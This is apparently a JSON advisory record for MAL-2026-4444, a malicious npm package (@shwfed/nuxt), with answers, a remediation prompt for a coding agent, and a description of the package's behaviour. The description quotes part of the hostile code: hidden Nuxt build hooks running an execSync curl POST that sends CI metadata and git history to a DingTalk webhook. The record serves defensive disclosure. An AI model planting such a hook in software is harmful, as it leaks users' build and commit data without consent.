{"answers":{"affected":"1 open source package ship an affected version, including @shwfed/nuxt.","exploited":"There is no known exploitation of MAL-2026-4444 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4444 is a malicious package in @shwfed/nuxt, published on 22 May 2026."},"fix_prompt":"MAL-2026-4444 is a malicious package: @shwfed/nuxt (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4444/ (Markdown: https://insights.sbomify.com/MAL-2026-4444/index.md)","id":"MAL-2026-4444","markdown":"https://insights.sbomify.com/MAL-2026-4444/index.md","name":"MAL-2026-4444","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"@shwfed/nuxt is published as a Nuxt UI module but contains undocumented build-hook code that, when a consumer integrates the module and runs a build under CI, POSTs the consumer's CI/build metadata and recent git history to a hardcoded third-party DingTalk webhook owned by the package author. In dist/module.mjs, the `build:error` and `build:done` Nuxt hooks invoke `execSync(\"curl -s -X POST '${url}'... -d @-\", { input: payload })` against `https://oapi.dingtalk.com/robot/send` with an embedded `access_token` (`a01e0fdf...`) and an embedded HMAC signing secret (`SEC9d852...`). The payload includes JOB_NAME, BUILD_NUMBER, branch name, RUN_DISPLAY_URL, build error message, the last 5 git log entries (commit subjects and author names) from the consumer's repository, and the last commit author. The destination is fixed in the source — not configurable, not documented, and unrelated to the module's advertised UI-component purpose. Any consumer that adds this module to their Nuxt config and runs CI builds leaks build status and recent git commit metadata (including third-party committer names) to the author's DingTalk channel without consent.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @shwfed/nuxt (npm)","id":"MAL-2026-4444","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@shwfed/nuxt","purl":"pkg:npm/%40shwfed%2Fnuxt","source":"MAL-2026-4444"}],"products":null,"published":"2026-05-22","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4444/"}